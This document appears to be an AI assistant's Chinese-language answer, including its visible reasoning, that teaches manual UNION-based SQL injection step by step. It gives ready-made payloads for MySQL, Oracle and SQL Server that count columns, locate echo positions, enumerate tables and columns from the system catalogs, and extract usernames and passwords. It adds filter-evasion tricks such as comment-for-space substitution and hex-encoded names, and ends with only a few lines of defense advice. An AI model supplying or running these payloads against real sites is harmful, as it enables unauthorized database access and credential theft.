<think>我们正在讨论基于UNION联合查询的SQL注入漏洞手工测试步骤。用户特别关注如何通过UNIONSELECT获取信息。结合提供的引用内容,我将整理出详细步骤。注意:不同数据库(如Oracle、MySQL、SQLServer)的语法有差异,但基本思路一致。这里以MySQL为例(引用[2][3]),并参考其他数据库(引用[1][4])的类似操作。步骤概述:1.寻找注入点2.确定字段数(使用ORDERBY)3.确定回显位置4.获取数据库信息(如数据库名、版本等)5.获取表名6.获取列名7.提取数据详细步骤:1.**寻找注入点**:通常在URL参数、表单输入等位置尝试注入。例如,在URL中,参数`id`可能存在注入:`http://example.com/page.php?id=1`测试方法:添加单引号`'`,观察是否报错(如SQL语法错误),或使用`and1=1`、`and1=2`测试页面返回是否不同。2.**确定字段数(列数)**:使用`ORDERBY`子句,通过二分法逐步试探列数。示例:`http://example.com/page.php?id=1orderby5--`如果`orderby5`时页面正常,而`orderby6`时出现错误,则说明有5列。注释符:MySQL使用`--`(注意有一个空格)或`#`,Oracle和SQLServer也使用`--`。3.**确定回显位置**:使用`UNIONSELECT`,并将原查询条件设为不存在的值(如负数或超出范围),使得原查询结果为空,从而显示我们联合查询的结果。示例:`http://example.com/page.php?id=-1unionselect1,2,3,4,5--`注意:字段数必须与前面确定的列数一致。观察页面中显示的数字(如2,3,4)即为回显位置。4.**获取数据库信息**:在回显位置替换为想要查询的信息。例如:-当前数据库名:`database()`-数据库版本:`version()`-当前用户:`user()`示例:`http://example.com/page.php?id=-1unionselect1,database(),version(),user(),5--`注意:将回显位置(如第2,3,4位)替换为这些函数。5.**获取表名**:通过查询系统表(如MySQL的`information_schema.tables`)获取表名。示例:`http://example.com/page.php?id=-1unionselect1,table_name,3,4,5frominformation_schema.tableswheretable_schema=database()limit0,1--`说明:-`table_schema=database()`:当前数据库-`limit0,1`:取第一条记录,通过改变0,1可以遍历所有表6.**获取列名**:通过查询系统表(如MySQL的`information_schema.columns`)获取列名。示例:`http://example.com/page.php?id=-1unionselect1,column_name,3,4,5frominformation_schema.columnswheretable_schema=database()andtable_name='表名'limit0,1--`注意:将`表名`替换为实际表名(通常需要先获取到表名)。7.**提取数据**:根据获取的表名和列名,构造查询提取数据。示例:`http://example.com/page.php?id=-1unionselect1,列名1,列名2,4,5from表名limit0,1--`注意事项:-字符串值需要用单引号括起来,但有时需要避免引号(如使用十六进制编码表名)。-注释符的使用:确保原查询的后续部分被注释掉。-不同数据库的系统表不同:*MySQL:`information_schema.tables`和`information_schema.columns`*Oracle:`all_tables`和`all_tab_columns`(引用[1]中使用了`sys.v_$version`获取版本)*SQLServer:`sysobjects`和`syscolumns`(引用[4]中使用了`mozhe_db_v2.dbo.sysobjects`)下面提供针对不同数据库的获取表名的示例:**Oracle**(引用[1]):获取表名:`http://example.com/new_list.php?id=-1unionselect'null',(selecttable_namefromuser_tableswhererownum=1)fromdual`**SQLServer**(引用[4]):获取表名:`http://example.com/new_list.asp?id=-2unionallselect1,(selecttop1namefrommozhe_db_v2.dbo.sysobjectswherextype='U'),'3',4`生成相关问题:1.如何防止UNION联合查询的SQL注入攻击?2.在不同数据库(MySQL、Oracle、SQLServer)中,UNION注入的语法有哪些主要区别?3.如果页面没有明显的回显位置,如何进行UNION注入?</think>以下是基于UNION联合查询的SQL注入漏洞手工测试的详细步骤,结合Oracle/MySQL/SQL Server数据库特性整理:
### 步骤概览
1. **寻找注入点**
在URL参数或表单输入中测试特殊字符(如`'`、`"`)是否引发数据库报错。
*示例*:`http://site.com/news.php?id=1'` 观察是否出现SQL错误[^2][^3]
2. **确定字段数**
使用`ORDER BY`二分法探测列数:
```sql
http://site.com/news?id=1 ORDER BY 5--
```
逐步增加数字直到页面报错(如`ORDER BY 6`报错则字段数为5)[^3]
3. **定位回显位**
通过UNION注入数字占位符,观察页面显示位置:
```sql
-- MySQL示例
http://site.com/news?id=-1 UNION SELECT 1,2,3,4,5--
```
页面显示的数字位置即为可回显数据的列[^3]
4. **获取数据库信息**
在回显位替换关键函数:
```sql
-- 获取数据库版本(Oracle)
http://site.com/news?id=-1 UNION SELECT null,(SELECT banner FROM v$version WHERE rownum=1),null FROM dual--
-- 获取当前库名(MySQL)
http://site.com/news?id=-1 UNION SELECT 1,database(),3,4,5--
```
[^1][^3]
5. **枚举表名**
查询系统表获取目标表名:
```sql
-- MySQL
http://site.com/news?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--
-- SQL Server
http://site.com/news?id=-2 UNION SELECT 1,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),3,4--
```
[^3][^4]
6. **枚举列名**
根据表名获取字段:
```sql
-- MySQL
http://site.com/news?id=-1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' LIMIT 0,1--
```
7. **提取数据**
构造最终查询:
```sql
-- 获取管理员密码(MySQL)
http://site.com/news?id=-1 UNION SELECT 1,username,password,4 FROM users LIMIT 0,1--
```
### 关键技巧
1. **绕过过滤**
- 使用`/**/`代替空格:`UNION/**/SELECT`
- 十六进制编码表名:`table_name=0x7573657273`(users的hex)
2. **多结果遍历**
修改`LIMIT 1,1`/`TOP 2`逐条获取数据
3. **错误处理**
- Oracle需注意`FROM dual`
- SQL Server需用`ALL`规避类型校验[^4]
### 防御建议
- 使用参数化查询
- 最小化数据库权限
- 过滤`UNION`、`INFORMATION_SCHEMA`等关键词